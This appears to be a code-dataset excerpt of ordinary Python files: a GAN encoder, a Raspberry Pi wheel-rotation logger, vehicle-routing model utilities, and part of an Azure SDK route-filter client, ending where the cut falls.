4bc8f4cdbe138e23c8a02c408cfb8e2ff7dfe6ab
[ "MIT" ]
null
null
null
networks/encoder.py
TropComplique/bicycle-gan
4bc8f4cdbe138e23c8a02c408cfb8e2ff7dfe6ab
[ "MIT" ]
null
null
null
import torch import torch.nn as nn class ResNetEncoder(nn.Module): def __init__(self, in_channels, out_dimension, depth=48, num_blocks=5): """ Arguments: in_channels: an integer. out_channels: an integer. depth: an integer. num_blocks: an integer, number of resnet blocks. """ super(ResNetEncoder, self).__init__() layers = [ nn.Conv2d(in_channels, depth, kernel_size=4, stride=2, padding=1), nn.LeakyReLU(0.2, inplace=True), ] for n in range(1, num_blocks + 1): in_depth = depth * min(4, n) out_depth = depth * min(4, n + 1) layers.append(BasicBlock(in_depth, out_depth)) # so, after all these layers the # input is downsampled by 2**(1 + num_blocks) layers.extend([ nn.LeakyReLU(0.2, inplace=True), nn.AdaptiveAvgPool2d(1) ]) self.layers = nn.Sequential(*layers) self.fc1 = nn.Linear(out_depth, out_dimension) self.fc2 = nn.Linear(out_depth, out_dimension) def forward(self, x): """ I assume that h and w are divisible by 2**(1 + num_blocks). The input tensor represents images with pixel values in [0, 1] range. Arguments: x: a float tensor with shape [b, in_channels, h, w]. Returns: two float tensors with shape [b, out_dimension]. """ x = 2.0 * x - 1.0 x = self.layers(x) # shape [b, out_channels, 1, 1] x = x.view(x.size(0), -1) mean = self.fc1(x) logvar = self.fc2(x) return mean, logvar class BasicBlock(nn.Module): def __init__(self, in_channels, out_channels): super(BasicBlock, self).__init__() self.layers = nn.Sequential( nn.InstanceNorm2d(in_channels, affine=True), nn.LeakyReLU(0.2, inplace=True), nn.Conv2d(in_channels, in_channels, kernel_size=3, padding=1, bias=False), nn.InstanceNorm2d(in_channels, affine=True), nn.LeakyReLU(0.2, inplace=True), nn.Conv2d(in_channels, out_channels, kernel_size=3, padding=1, bias=False), nn.AvgPool2d(kernel_size=2, stride=2) ) self.shortcut = nn.Sequential( nn.AvgPool2d(kernel_size=2, stride=2), nn.Conv2d(in_channels, out_channels, kernel_size=1) ) def forward(self, x): return self.layers(x) + self.shortcut(x)
30.614458
87
0.573003
import torch import torch.nn as nn class ResNetEncoder(nn.Module): def __init__(self, in_channels, out_dimension, depth=48, num_blocks=5): super(ResNetEncoder, self).__init__() layers = [ nn.Conv2d(in_channels, depth, kernel_size=4, stride=2, padding=1), nn.LeakyReLU(0.2, inplace=True), ] for n in range(1, num_blocks + 1): in_depth = depth * min(4, n) out_depth = depth * min(4, n + 1) layers.append(BasicBlock(in_depth, out_depth)) layers.extend([ nn.LeakyReLU(0.2, inplace=True), nn.AdaptiveAvgPool2d(1) ]) self.layers = nn.Sequential(*layers) self.fc1 = nn.Linear(out_depth, out_dimension) self.fc2 = nn.Linear(out_depth, out_dimension) def forward(self, x): x = 2.0 * x - 1.0 x = self.layers(x) x = x.view(x.size(0), -1) mean = self.fc1(x) logvar = self.fc2(x) return mean, logvar class BasicBlock(nn.Module): def __init__(self, in_channels, out_channels): super(BasicBlock, self).__init__() self.layers = nn.Sequential( nn.InstanceNorm2d(in_channels, affine=True), nn.LeakyReLU(0.2, inplace=True), nn.Conv2d(in_channels, in_channels, kernel_size=3, padding=1, bias=False), nn.InstanceNorm2d(in_channels, affine=True), nn.LeakyReLU(0.2, inplace=True), nn.Conv2d(in_channels, out_channels, kernel_size=3, padding=1, bias=False), nn.AvgPool2d(kernel_size=2, stride=2) ) self.shortcut = nn.Sequential( nn.AvgPool2d(kernel_size=2, stride=2), nn.Conv2d(in_channels, out_channels, kernel_size=1) ) def forward(self, x): return self.layers(x) + self.shortcut(x)
true
true
f7f3b069ac9453e06095e4da6b3648da09f640b7
35
py
Python
tools/Polygraphy/polygraphy/util/__init__.py
borisfom/TensorRT
42805f078052daad1a98bc5965974fcffaad0960
[ "Apache-2.0" ]
1
2022-03-05T08:46:19.000Z
2022-03-05T08:46:19.000Z
tools/Polygraphy/polygraphy/util/__init__.py
maxpark/TensorRT
46253b644142a1d9632ba463422abfc5dcefc371
[ "Apache-2.0" ]
null
null
null
tools/Polygraphy/polygraphy/util/__init__.py
maxpark/TensorRT
46253b644142a1d9632ba463422abfc5dcefc371
[ "Apache-2.0" ]
1
2022-03-19T16:03:30.000Z
2022-03-19T16:03:30.000Z
from polygraphy.util.util import *
17.5
34
0.8
from polygraphy.util.util import *
true
true
f7f3b09386c969edf9c8e32c5479dd0aa3e9ed0b
638
py
Python
Wheel_Tracker/chiprunner.py
denchief515/Wheel_Runner
cd59413575c11caeaeb5949ce129b05be2e0ba14
[ "MIT" ]
null
null
null
Wheel_Tracker/chiprunner.py
denchief515/Wheel_Runner
cd59413575c11caeaeb5949ce129b05be2e0ba14
[ "MIT" ]
null
null
null
Wheel_Tracker/chiprunner.py
denchief515/Wheel_Runner
cd59413575c11caeaeb5949ce129b05be2e0ba14
[ "MIT" ]
null
null
null
import RPi.GPIO as GPIO import urllib2 import time from time import gmtime, strftime sw_in = 8 count = 0 GPIO.setmode(GPIO.BOARD) GPIO.setup(sw_in,GPIO.IN,pull_up_down=GPIO.PUD_UP) GPIO.add_event_detect(sw_in,GPIO.FALLING) GPIO.setwarnings(False) print("Chip Runner activated") print(strftime("%Y-%m-%d %H:%M:%S", gmtime())) while True: # print count if GPIO.event_detected(sw_in): GPIO.remove_event_detect(sw_in) # count +=1 content = urllib2.urlopen('http://Your_IP_Address/logRotation.php').read() # print content # print count time.sleep(.35) GPIO.add_event_detect(sw_in,GPIO.RISING)
23.62963
75
0.710031
import RPi.GPIO as GPIO import urllib2 import time from time import gmtime, strftime sw_in = 8 count = 0 GPIO.setmode(GPIO.BOARD) GPIO.setup(sw_in,GPIO.IN,pull_up_down=GPIO.PUD_UP) GPIO.add_event_detect(sw_in,GPIO.FALLING) GPIO.setwarnings(False) print("Chip Runner activated") print(strftime("%Y-%m-%d %H:%M:%S", gmtime())) while True: if GPIO.event_detected(sw_in): GPIO.remove_event_detect(sw_in) content = urllib2.urlopen('http://Your_IP_Address/logRotation.php').read() time.sleep(.35) GPIO.add_event_detect(sw_in,GPIO.RISING)
false
true
f7f3b0efd482f8fca62b1704077f276dc13d631f
9,019
py
Python
Torch/Nets/decoder_utils.py
Rintarooo/MDVRP_MHA
f196f1c99c3e4efa1ab6d75f4af77685afe4d191
[ "MIT" ]
7
2021-05-17T09:48:21.000Z
2022-03-16T07:37:08.000Z
Torch/Nets/decoder_utils.py
Rintarooo/MDVRP_MHA
f196f1c99c3e4efa1ab6d75f4af77685afe4d191
[ "MIT" ]
null
null
null
Torch/Nets/decoder_utils.py
Rintarooo/MDVRP_MHA
f196f1c99c3e4efa1ab6d75f4af77685afe4d191
[ "MIT" ]
1
2021-05-08T09:16:07.000Z
2021-05-08T09:16:07.000Z
import torch import torch.nn as nn class Env(): def __init__(self, x, node_embeddings): super().__init__() """depot_xy: (batch, n_depot, 2) customer_xy: (batch, n_customer, 2) --> xy: (batch, n_node, 2); Coordinates of depot + customer nodes n_node= n_depot + n_customer demand: (batch, n_customer) ??? --> demand: (batch, n_car, n_customer) D(remaining car capacity): (batch, n_car) node_embeddings: (batch, n_node, embed_dim) --> node_embeddings: (batch, n_car, n_node, embed_dim) car_start_node: (batch, n_car); start node index of each car car_cur_node: (batch, n_car); current node index of each car car_run: (batch, car); distance each car has run pi: (batch, n_car, decoder_step); which index node each car has moved dist_mat: (batch, n_node, n_node); distance matrix traversed_nodes: (batch, n_node) traversed_customer: (batch, n_customer) """ self.device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu') self.demand = x['demand'] self.xy = torch.cat([x['depot_xy'], x['customer_xy']], 1) self.car_start_node, self.D = x['car_start_node'], x['car_capacity'] self.car_cur_node = self.car_start_node self.pi = self.car_start_node.unsqueeze(-1) self.n_depot = x['depot_xy'].size(1) self.n_customer = x['customer_xy'].size(1) self.n_car = self.car_start_node.size(1) self.batch, self.n_node, self.embed_dim = node_embeddings.size() self.node_embeddings = node_embeddings[:,None,:,:].repeat(1,self.n_car,1,1) self.demand_include_depot = torch.cat([torch.zeros((self.batch, self.n_depot), dtype = torch.float, device = self.device), self.demand], dim = 1) assert self.demand_include_depot.size(1) == self.n_node, 'demand_include_depot' # self.demand = demand[:,None,:].repeat(1,self.n_car,1) self.car_run = torch.zeros((self.batch, self.n_car), dtype = torch.float, device = self.device) self.dist_mat = self.build_dist_mat() self.mask_depot, self.mask_depot_unused = self.build_depot_mask() self.traversed_customer = torch.zeros((self.batch, self.n_customer), dtype = torch.bool, device = self.device) def build_dist_mat(self): xy = self.xy.unsqueeze(1).repeat(1, self.n_node, 1, 1) const_xy = self.xy.unsqueeze(2).repeat(1, 1, self.n_node, 1) dist_mat = torch.sqrt(((xy - const_xy) ** 2).sum(dim = 3)) return dist_mat def build_depot_mask(self): a = torch.arange(self.n_depot, device = self.device).reshape(1, 1, -1).repeat(self.batch, self.n_car, 1) b = self.car_start_node[:,:,None].repeat(1, 1, self.n_depot) depot_one_hot = (a==b).bool()#.long() return depot_one_hot, torch.logical_not(depot_one_hot) def get_mask(self, next_node, next_car): """self.demand **excludes depot**: (batch, n_nodes-1) selected_demand: (batch, 1) if next node is depot, do not select demand self.D: (batch, n_car, 1), D denotes "remaining vehicle capacity" self.capacity_over_customer **excludes depot**: (batch, n_car, n_customer) visited_customer **excludes depot**: (batch, n_customer, 1) is_next_depot: (batch, 1), e.g. [[True], [True], ...] """ is_next_depot = (self.car_cur_node == self.car_start_node).bool()#.long().sum(-1) # e.g., is_next_depot = next_node == 0 or next_node == 1 # is_next_depot: (batch, n_car), e.g. [[True], [True], ...] new_traversed_node = torch.eye(self.n_node, device = self.device)[next_node.squeeze(1)] # new_traversed_node: (batch, node) new_traversed_customer = new_traversed_node[:,self.n_depot:] # new_traversed_customer: (batch, n_customer) self.traversed_customer = self.traversed_customer | new_traversed_customer.bool() # traversed_customer: (batch, n_customer) selected_demand = torch.gather(input = self.demand_include_depot, dim = 1, index = next_node) # selected_demand: (batch, 1) selected_car = torch.eye(self.n_car, device = self.device)[next_car.squeeze(1)] # selected_car: (batch, n_car) car_used_demand = selected_car * selected_demand # car_used_demand: (batch, n_car) self.D -= car_used_demand # D: (batch, n_car) # self.D = torch.clamp(self.D, min = 0.) D_over_customer = self.demand[:,None,:].repeat(1,self.n_car,1) > self.D[:,:,None].repeat(1,1,self.n_customer) mask_customer = D_over_customer | self.traversed_customer[:,None,:].repeat(1,self.n_car,1) # mask_customer: (batch, n_car, n_customer) mask_depot = is_next_depot & ((mask_customer == False).long().sum(dim = 2).sum(dim = 1)[:,None].repeat(1,self.n_car) > 0) # mask_depot: (batch, n_car) """mask_depot = True --> We cannot choose depot in the next step if 1) the vehicle is at the depot in the next step or 2) there is a customer node which has not been visited yet """ mask_depot = self.mask_depot & mask_depot.bool()[:,:,None].repeat(1,1,self.n_depot) # mask_depot: (batch, n_car, n_depot) mask_depot = self.mask_depot_unused | mask_depot """mask_depot: (batch, n_car, n_depot) mask_customer: (batch, n_car, n_customer) --> return mask: (batch, n_car, n_node ,1) """ return torch.cat([mask_depot, mask_customer], dim = -1).unsqueeze(-1) def generate_step_context(self): """D: (batch, n_car) --> D: (batch, n_car, 1, 1) each_car_idx: (batch, n_car, 1, embed_dim) node_embeddings: (batch, n_car, n_node, embed_dim) --> prev_embeddings(initially, depot_embeddings): (batch, n_car, 1, embed) node embeddings where car is located return step_context: (batch, n_car, 1, embed+1) """ each_car_idx = self.car_cur_node[:,:,None,None].repeat(1,1,1,self.embed_dim) prev_embeddings = torch.gather(input = self.node_embeddings, dim = 2, index = each_car_idx) step_context = torch.cat([prev_embeddings, self.D[:,:,None,None]], dim = -1) return step_context def _get_step(self, next_node, next_car): """next_node **includes depot** : (batch, 1) int(=long), range[0, n_node-1] return mask: (batch, n_car, n_node ,1) step_context: (batch, n_car, 1, embed+1) """ self.update_node_path(next_node, next_car) self.update_car_distance() mask = self.get_mask(next_node, next_car) step_context = self.generate_step_context() return mask, step_context def _get_step_t1(self): """return mask: (batch, n_car, n_node ,1) step_context: (batch, n_car, 1, embed+1) """ mask_t1 = self.get_mask_t1() step_context_t1 = self.generate_step_context() return mask_t1, step_context_t1 def get_mask_t1(self): """mask_depot: (batch, n_car, n_depot) mask_customer: (batch, n_car, n_customer) --> return mask: (batch, n_car, n_node ,1) """ mask_depot_t1 = self.mask_depot | self.mask_depot_unused mask_customer_t1 = self.traversed_customer[:,None,:].repeat(1,self.n_car,1) return torch.cat([mask_depot_t1, mask_customer_t1], dim = -1).unsqueeze(-1) def update_node_path(self, next_node, next_car): # car_node: (batch, n_car) # pi: (batch, n_car, decoder_step) self.car_prev_node = self.car_cur_node a = torch.arange(self.n_car, device = self.device).reshape(1, -1).repeat(self.batch, 1) b = next_car.reshape(self.batch, 1).repeat(1, self.n_car) mask_car = (a == b).long() new_node = next_node.reshape(self.batch, 1).repeat(1, self.n_car) self.car_cur_node = mask_car * new_node + (1 - mask_car) * self.car_cur_node # (1-mask_car) keeps the same node for the unused car, mask_car updates new node for the used car self.pi = torch.cat([self.pi, self.car_cur_node.unsqueeze(-1)], dim = -1) def update_car_distance(self): prev_node_dist_vec = torch.gather(input = self.dist_mat, dim = 1, index = self.car_prev_node[:,:,None].repeat(1,1,self.n_node)) # dist = torch.gather(input = prev_node_dist_vec, dim = 2, index = self.car_cur_node[:,None,:].repeat(1,self.n_car,1)) dist = torch.gather(input = prev_node_dist_vec, dim = 2, index = self.car_cur_node[:,:,None]) self.car_run += dist.squeeze(-1) # print(self.car_run[0]) def return_depot_all_car(self): self.pi = torch.cat([self.pi, self.car_start_node.unsqueeze(-1)], dim = -1) self.car_prev_node = self.car_cur_node self.car_cur_node = self.car_start_node self.update_car_distance() def get_log_likelihood(self, _log_p, _idx): """_log_p: (batch, decode_step, n_car * n_node) _idx: (batch, decode_step, 1), selected index """ log_p = torch.gather(input = _log_p, dim = 2, index = _idx) return log_p.squeeze(-1).sum(dim = 1) class Sampler(nn.Module): """args; logits: (batch, n_car * n_nodes) return; next_node: (batch, 1) TopKSampler --> greedy; sample one with biggest probability CategoricalSampler --> sampling; randomly sample one from possible distribution based on probability """ def __init__(self, n_samples = 1, **kwargs): super().__init__(**kwargs) self.n_samples = n_samples class TopKSampler(Sampler): def forward(self, logits): return torch.topk(logits, self.n_samples, dim = 1)[1] # torch.argmax(logits, dim = 1).unsqueeze(-1) class CategoricalSampler(Sampler): def forward(self, logits): return torch.multinomial(logits.exp(), self.n_samples)
43.15311
147
0.700965
import torch import torch.nn as nn class Env(): def __init__(self, x, node_embeddings): super().__init__() self.device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu') self.demand = x['demand'] self.xy = torch.cat([x['depot_xy'], x['customer_xy']], 1) self.car_start_node, self.D = x['car_start_node'], x['car_capacity'] self.car_cur_node = self.car_start_node self.pi = self.car_start_node.unsqueeze(-1) self.n_depot = x['depot_xy'].size(1) self.n_customer = x['customer_xy'].size(1) self.n_car = self.car_start_node.size(1) self.batch, self.n_node, self.embed_dim = node_embeddings.size() self.node_embeddings = node_embeddings[:,None,:,:].repeat(1,self.n_car,1,1) self.demand_include_depot = torch.cat([torch.zeros((self.batch, self.n_depot), dtype = torch.float, device = self.device), self.demand], dim = 1) assert self.demand_include_depot.size(1) == self.n_node, 'demand_include_depot' self.car_run = torch.zeros((self.batch, self.n_car), dtype = torch.float, device = self.device) self.dist_mat = self.build_dist_mat() self.mask_depot, self.mask_depot_unused = self.build_depot_mask() self.traversed_customer = torch.zeros((self.batch, self.n_customer), dtype = torch.bool, device = self.device) def build_dist_mat(self): xy = self.xy.unsqueeze(1).repeat(1, self.n_node, 1, 1) const_xy = self.xy.unsqueeze(2).repeat(1, 1, self.n_node, 1) dist_mat = torch.sqrt(((xy - const_xy) ** 2).sum(dim = 3)) return dist_mat def build_depot_mask(self): a = torch.arange(self.n_depot, device = self.device).reshape(1, 1, -1).repeat(self.batch, self.n_car, 1) b = self.car_start_node[:,:,None].repeat(1, 1, self.n_depot) depot_one_hot = (a==b).bool() return depot_one_hot, torch.logical_not(depot_one_hot) def get_mask(self, next_node, next_car): is_next_depot = (self.car_cur_node == self.car_start_node).bool() new_traversed_node = torch.eye(self.n_node, device = self.device)[next_node.squeeze(1)] new_traversed_customer = new_traversed_node[:,self.n_depot:] self.traversed_customer = self.traversed_customer | new_traversed_customer.bool() selected_demand = torch.gather(input = self.demand_include_depot, dim = 1, index = next_node) selected_car = torch.eye(self.n_car, device = self.device)[next_car.squeeze(1)] car_used_demand = selected_car * selected_demand self.D -= car_used_demand D_over_customer = self.demand[:,None,:].repeat(1,self.n_car,1) > self.D[:,:,None].repeat(1,1,self.n_customer) mask_customer = D_over_customer | self.traversed_customer[:,None,:].repeat(1,self.n_car,1) mask_depot = is_next_depot & ((mask_customer == False).long().sum(dim = 2).sum(dim = 1)[:,None].repeat(1,self.n_car) > 0) mask_depot = self.mask_depot & mask_depot.bool()[:,:,None].repeat(1,1,self.n_depot) mask_depot = self.mask_depot_unused | mask_depot return torch.cat([mask_depot, mask_customer], dim = -1).unsqueeze(-1) def generate_step_context(self): each_car_idx = self.car_cur_node[:,:,None,None].repeat(1,1,1,self.embed_dim) prev_embeddings = torch.gather(input = self.node_embeddings, dim = 2, index = each_car_idx) step_context = torch.cat([prev_embeddings, self.D[:,:,None,None]], dim = -1) return step_context def _get_step(self, next_node, next_car): self.update_node_path(next_node, next_car) self.update_car_distance() mask = self.get_mask(next_node, next_car) step_context = self.generate_step_context() return mask, step_context def _get_step_t1(self): mask_t1 = self.get_mask_t1() step_context_t1 = self.generate_step_context() return mask_t1, step_context_t1 def get_mask_t1(self): mask_depot_t1 = self.mask_depot | self.mask_depot_unused mask_customer_t1 = self.traversed_customer[:,None,:].repeat(1,self.n_car,1) return torch.cat([mask_depot_t1, mask_customer_t1], dim = -1).unsqueeze(-1) def update_node_path(self, next_node, next_car): self.car_prev_node = self.car_cur_node a = torch.arange(self.n_car, device = self.device).reshape(1, -1).repeat(self.batch, 1) b = next_car.reshape(self.batch, 1).repeat(1, self.n_car) mask_car = (a == b).long() new_node = next_node.reshape(self.batch, 1).repeat(1, self.n_car) self.car_cur_node = mask_car * new_node + (1 - mask_car) * self.car_cur_node self.pi = torch.cat([self.pi, self.car_cur_node.unsqueeze(-1)], dim = -1) def update_car_distance(self): prev_node_dist_vec = torch.gather(input = self.dist_mat, dim = 1, index = self.car_prev_node[:,:,None].repeat(1,1,self.n_node)) dist = torch.gather(input = prev_node_dist_vec, dim = 2, index = self.car_cur_node[:,:,None]) self.car_run += dist.squeeze(-1) def return_depot_all_car(self): self.pi = torch.cat([self.pi, self.car_start_node.unsqueeze(-1)], dim = -1) self.car_prev_node = self.car_cur_node self.car_cur_node = self.car_start_node self.update_car_distance() def get_log_likelihood(self, _log_p, _idx): log_p = torch.gather(input = _log_p, dim = 2, index = _idx) return log_p.squeeze(-1).sum(dim = 1) class Sampler(nn.Module): def __init__(self, n_samples = 1, **kwargs): super().__init__(**kwargs) self.n_samples = n_samples class TopKSampler(Sampler): def forward(self, logits): return torch.topk(logits, self.n_samples, dim = 1)[1] class CategoricalSampler(Sampler): def forward(self, logits): return torch.multinomial(logits.exp(), self.n_samples)
true
true
f7f3b17f3666687d57ed22f35fddaad6d78eb104
25,552
py
Python
azure-mgmt-network/azure/mgmt/network/v2017_09_01/operations/route_filters_operations.py
v-Ajnava/azure-sdk-for-python
a1f6f80eb5869c5b710e8bfb66146546697e2a6f
[ "MIT" ]
4
2016-06-17T23:25:29.000Z
2022-03-30T22:37:45.000Z
azure-mgmt-network/azure/mgmt/network/v2017_09_01/operations/route_filters_operations.py
v-Ajnava/azure-sdk-for-python
a1f6f80eb5869c5b710e8bfb66146546697e2a6f
[ "MIT" ]
2
2016-09-30T21:40:24.000Z
2017-11-10T18:16:18.000Z
azure-mgmt-network/azure/mgmt/network/v2017_09_01/operations/route_filters_operations.py
v-Ajnava/azure-sdk-for-python
a1f6f80eb5869c5b710e8bfb66146546697e2a6f
[ "MIT" ]
3
2016-05-03T20:49:46.000Z
2017-10-05T21:05:27.000Z
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. # -------------------------------------------------------------------------- import uuid from msrest.pipeline import ClientRawResponse from msrestazure.azure_exceptions import CloudError from msrest.exceptions import DeserializationError from msrestazure.azure_operation import AzureOperationPoller from .. import models class RouteFiltersOperations(object): """RouteFiltersOperations operations. :param client: Client for service requests. :param config: Configuration of service client. :param serializer: An object model serializer. :param deserializer: An objec model deserializer. :ivar api_version: Client API version. Constant value: "2017-09-01". """ models = models def __init__(self, client, config, serializer, deserializer): self._client = client self._serialize = serializer self._deserialize = deserializer self.api_version = "2017-09-01" self.config = config def _delete_initial( self, resource_group_name, route_filter_name, custom_headers=None, raw=False, **operation_config): # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/routeFilters/{routeFilterName}' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'routeFilterName': self._serialize.url("route_filter_name", route_filter_name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.delete(url, query_parameters) response = self._client.send(request, header_parameters, stream=False, **operation_config) if response.status_code not in [200, 202, 204]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp if raw: client_raw_response = ClientRawResponse(None, response) return client_raw_response def delete( self, resource_group_name, route_filter_name, custom_headers=None, raw=False, **operation_config): """Deletes the specified route filter. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param route_filter_name: The name of the route filter. :type route_filter_name: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :return: An instance of AzureOperationPoller that returns None or ClientRawResponse if raw=true :rtype: ~msrestazure.azure_operation.AzureOperationPoller[None] or ~msrest.pipeline.ClientRawResponse :raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>` """ raw_result = self._delete_initial( resource_group_name=resource_group_name, route_filter_name=route_filter_name, custom_headers=custom_headers, raw=True, **operation_config ) if raw: return raw_result # Construct and send request def long_running_send(): return raw_result.response def get_long_running_status(status_link, headers=None): request = self._client.get(status_link) if headers: request.headers.update(headers) header_parameters = {} header_parameters['x-ms-client-request-id'] = raw_result.response.request.headers['x-ms-client-request-id'] return self._client.send( request, header_parameters, stream=False, **operation_config) def get_long_running_output(response): if response.status_code not in [200, 202, 204]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp if raw: client_raw_response = ClientRawResponse(None, response) return client_raw_response long_running_operation_timeout = operation_config.get( 'long_running_operation_timeout', self.config.long_running_operation_timeout) return AzureOperationPoller( long_running_send, get_long_running_output, get_long_running_status, long_running_operation_timeout) def get( self, resource_group_name, route_filter_name, expand=None, custom_headers=None, raw=False, **operation_config): """Gets the specified route filter. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param route_filter_name: The name of the route filter. :type route_filter_name: str :param expand: Expands referenced express route bgp peering resources. :type expand: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :return: RouteFilter or ClientRawResponse if raw=true :rtype: ~azure.mgmt.network.v2017_09_01.models.RouteFilter or ~msrest.pipeline.ClientRawResponse :raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>` """ # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/routeFilters/{routeFilterName}' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'routeFilterName': self._serialize.url("route_filter_name", route_filter_name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str') if expand is not None: query_parameters['$expand'] = self._serialize.query("expand", expand, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, stream=False, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('RouteFilter', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def _create_or_update_initial( self, resource_group_name, route_filter_name, route_filter_parameters, custom_headers=None, raw=False, **operation_config): # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/routeFilters/{routeFilterName}' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'routeFilterName': self._serialize.url("route_filter_name", route_filter_name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct body body_content = self._serialize.body(route_filter_parameters, 'RouteFilter') # Construct and send request request = self._client.put(url, query_parameters) response = self._client.send( request, header_parameters, body_content, stream=False, **operation_config) if response.status_code not in [200, 201]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = self._deserialize('RouteFilter', response) if response.status_code == 201: deserialized = self._deserialize('RouteFilter', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def create_or_update( self, resource_group_name, route_filter_name, route_filter_parameters, custom_headers=None, raw=False, **operation_config): """Creates or updates a route filter in a specified resource group. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param route_filter_name: The name of the route filter. :type route_filter_name: str :param route_filter_parameters: Parameters supplied to the create or update route filter operation. :type route_filter_parameters: ~azure.mgmt.network.v2017_09_01.models.RouteFilter :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :return: An instance of AzureOperationPoller that returns RouteFilter or ClientRawResponse if raw=true :rtype: ~msrestazure.azure_operation.AzureOperationPoller[~azure.mgmt.network.v2017_09_01.models.RouteFilter] or ~msrest.pipeline.ClientRawResponse :raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>` """ raw_result = self._create_or_update_initial( resource_group_name=resource_group_name, route_filter_name=route_filter_name, route_filter_parameters=route_filter_parameters, custom_headers=custom_headers, raw=True, **operation_config ) if raw: return raw_result # Construct and send request def long_running_send(): return raw_result.response def get_long_running_status(status_link, headers=None): request = self._client.get(status_link) if headers: request.headers.update(headers) header_parameters = {} header_parameters['x-ms-client-request-id'] = raw_result.response.request.headers['x-ms-client-request-id'] return self._client.send( request, header_parameters, stream=False, **operation_config) def get_long_running_output(response): if response.status_code not in [200, 201]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = self._deserialize('RouteFilter', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized long_running_operation_timeout = operation_config.get( 'long_running_operation_timeout', self.config.long_running_operation_timeout) return AzureOperationPoller( long_running_send, get_long_running_output, get_long_running_status, long_running_operation_timeout) def _update_initial( self, resource_group_name, route_filter_name, route_filter_parameters, custom_headers=None, raw=False, **operation_config): # Construct URL url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/routeFilters/{routeFilterName}' path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'routeFilterName': self._serialize.url("route_filter_name", route_filter_name, 'str'), 'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct body body_content = self._serialize.body(route_filter_parameters, 'PatchRouteFilter') # Construct and send request request = self._client.patch(url, query_parameters) response = self._client.send( request, header_parameters, body_content, stream=False, **operation_config) if response.status_code not in [200]: exp = CloudError(response) exp.request_id = response.headers.get('x-ms-request-id') raise exp deserialized = None if response.status_code == 200: deserialized = 